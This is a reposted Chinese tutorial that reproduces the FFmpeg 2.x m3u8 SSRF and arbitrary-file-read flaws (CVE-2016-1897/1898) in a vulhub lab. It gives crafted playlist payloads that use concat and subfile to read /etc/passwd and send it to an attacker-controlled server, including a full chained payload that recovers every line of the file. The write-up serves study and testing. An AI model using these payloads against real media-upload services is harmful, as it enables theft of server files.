您好,登錄后才能下訂單哦!
小編給大家分享一下ffmpeg任意文件讀取漏洞SSRF的示例分析,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
僅供參考學習使用
Port : 8090
FFmpeg 是一套可以用來記錄、轉(zhuǎn)換數(shù)字音頻、視頻,并能將其轉(zhuǎn)化為流的開源計算機程序。功能非常強大,是每個視頻網(wǎng)站必不可少的多媒體文件處理程序。
在 FFMpeg2.X 由于在解析 HTTP Live Streaming 流媒體 m3u8 文件處理不當,可導致 SSRF 漏洞與任意文件讀取漏洞。當網(wǎng)站允許用戶上傳多媒體文件,并使用 FFMpeg 進行處理時會觸發(fā)該漏洞。
這個漏洞有兩個 CVE 編號,分別是 CVE-2016-1897 和 CVE-2016-1898,它們兩個的區(qū)別在于讀取文件的行數(shù),CVE-2016-1897 只能讀取文件的第一行,而 CVE-2016-1898 可以讀取文件任意行,原理基本一樣。
影響版本
FFmpeg 2.8.x < 2.8.5 FFmpeg 2.7.x < 2.7.5 FFmpeg 2.6.x < 2.6.7 FFmpeg 2.5.x < 2.5.10
這個漏洞主要涉及 ffmpeg 對 m3u8文件的處理不當導致的,具體的原理部分不過多贅述,可以參考如下連接:
http://blog.neargle.com/SecNewsBak/drops/CVE-2016-1897.8%20-%20FFMpeg%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html
http://xdxd.love/2016/01/18/ffmpeg-SSRF%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://habr.com/en/company/mailru/blog/274855/
如下測試環(huán)境借助 vulhub 的 docker 鏡像,附上 P 師傅的鏈接:https://github.com/vulhub/vulhub
運行測試環(huán)境:
docker-compose up -d
運行完成后,訪問對應的 URL 端口,可以看到有個視頻上傳的接口
查看后臺的 php 源碼,實際上只是借用了 ffmpeg -i 這個命令,因此實際上如果沒有部署 docker 鏡像,可以之際安裝 ffmpeg 軟件,通過 ffmpeg 轉(zhuǎn)換即可。
<?php if(!empty($_FILES)) { $filename = escapeshellarg($_FILES['file']['tmp_name']); $newname = './' . uniqid() . '.mp4'; shell_exec("ffmpeg -i $filename $newname"); } ?>
我們首先構(gòu)造一個惡意的 m3u8 的文件(用記事本編寫,保存為.m3u8
后綴):
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, http://X.X.X.X:9999/test.txt #EXT-X-ENDLIST
各參數(shù)說明: #EXTM3U 標簽是 m3u8 的文件頭,開頭必須要這一行 #EXT-X-MEDIA-SEQUENCE 表示每一個media URI 在 PlayList中只有唯一的序號,相鄰之間序號+1 #EXTINF:10.0, 表示該一段 TS 流文件的長度 #EXT-X-ENDLIST 這個相當于文件結(jié)束符
這些是 m3u8 的最基本的標簽,而問題就出在 FFMpeg 去請求 TS 流文件(URL)時,F(xiàn)FMpeg 不會判斷里面的流地址,直接請求。服務端監(jiān)聽端口:
既然可以請求外部數(shù)據(jù),因此可以嘗試 SSRF 帶外。通過查閱資料,發(fā)現(xiàn) ffmpeg 內(nèi)部有一個 concat 函數(shù),因此我們可以將內(nèi)部數(shù)據(jù)通過 concat 拼接 OOB。
如果直接使用 concat 拼接,只會正常請求,因此我們需要一些小技巧,將本地文件帶出來。
首先,我們需要在 web 服務器上創(chuàng)建一個 error.txt,文件內(nèi)容是 m3u8 的格式,其中不包含文件結(jié)束符。
其次,我們再創(chuàng)建一個惡意的 m3u8 文件(或者 avi、mp4 等后綴),文件內(nèi)容通過 concat 拼接本地文件 /etc/passwd。
最后,我們上傳這個惡意的 m3u8 文件。參考文件內(nèi)容如下:
error.txt
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://X.X.X.X:9999/?
upload.m3u8
#EXTM3U #EXT-X-TARGETDURATION:6 #EXTINF:10.0, concat:http://X.X.X.X:8989/error.txt|file:///etc/passwd #EXT-X-ENDLIST
web 服務器部署 error.txt:
上傳惡意的 m3u8 文件:
同時,VPS 監(jiān)聽 9999 端口:
注意:
以上的文件需要使用記事本編輯保存,選擇默認 utf-8 格式。嘗試使用 vim 創(chuàng)建時,一直復現(xiàn)失敗。
特地鳴謝如下鏈接作者提供的解決方案https://blog.safebuff.com/2016/05/12/CVE-2016-1897-8-FFMpeg%E6%BC%8F%E6%B4%9E%E5%BA%94%E6%80%A5%E5%88%86%E6%9E%90/
因為上傳之后,后端會一直進行轉(zhuǎn)碼,進程會卡死,頁面無響應。需要進入 docker 中,手動 kill ffmpeg 進程。
可以發(fā)現(xiàn)以上的操作方式,只能將 /etc/passwd 數(shù)據(jù)中的第一行帶外出來,但是后面的內(nèi)容還是沒有讀出來,因此我們借助其他函數(shù)進行進一步利用。ffmpeg 還提供了 subfile 函數(shù),其中 Start 后是開始截取的偏移量,以字節(jié)為單位,end 是結(jié)束的偏移量。
只需要修改惡意的 upload.m3u8 文件
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd #EXT-X-ENDLIST
在逐漸增加 subfile 偏移量的測試過程中,發(fā)現(xiàn)超過一定長度后,數(shù)據(jù)讀取部分不再增加。猜測可能和 URL 長度或者和換行符有關(guān)。
在不斷測試的過程中,最終發(fā)現(xiàn),與 URL 長度,m3u8 請求 URL 都無關(guān)系,也沒有 32 字節(jié)的限制。實際上 concat 連接 URL 時是不能包含換行符的。/etc/passwd 文件存儲過程中換行符 \n 是占一個字符的,所以無論是通過 file 協(xié)議,還是 subfile 切片,只要是讀取到 \n 則中斷,后面的內(nèi)容無法輸出。
按照這個思路,我們能只需要通過 subfile 讀取文件時,跳過 \n 符號,不斷根據(jù)返回的數(shù)據(jù)進行調(diào)試,最終可以讀取到完整的數(shù)據(jù)。以如下的 /etc/passwd 的文件為例,附上 payload 參考:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/bin/false messagebus:x:101:101::/var/run/dbus:/bin/false
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://47.99.191.76:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd|subfile,,start,80,end,116,,:///etc/passwd|subfile,,start,117,end,153,,:///etc/passwd|subfile,,start,154,end,188,,:///etc/passwd|subfile,,start,189,end,236,,:///etc/passwd|subfile,,start,237,end,284,,:///etc/passwd|subfile,,start,285,end,329,,:///etc/passwd|subfile,,start,330,end,373,,:///etc/passwd|subfile,,start,374,end,423,,:///etc/passwd|subfile,,start,424,end,475,,:///etc/passwd|subfile,,start,476,end,518,,:///etc/passwd|subfile,,start,519,end,571,,:///etc/passwd|subfile,,start,572,end,624,,:///etc/passwd|subfile,,start,625,end,686,,:///etc/passwd|subfile,,start,687,end,735,,:///etc/passwd|subfile,,start,736,end,817,,:///etc/passwd|subfile,,start,818,end,876,,:///etc/passwd|subfile,,start,877,end,918,,:///etc/passwd|subfile,,start,919,end,965,,:///etc/passwd #EXT-X-ENDLIST
最終讀出所有數(shù)據(jù):
以上是“ffmpeg任意文件讀取漏洞SSRF的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學習更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。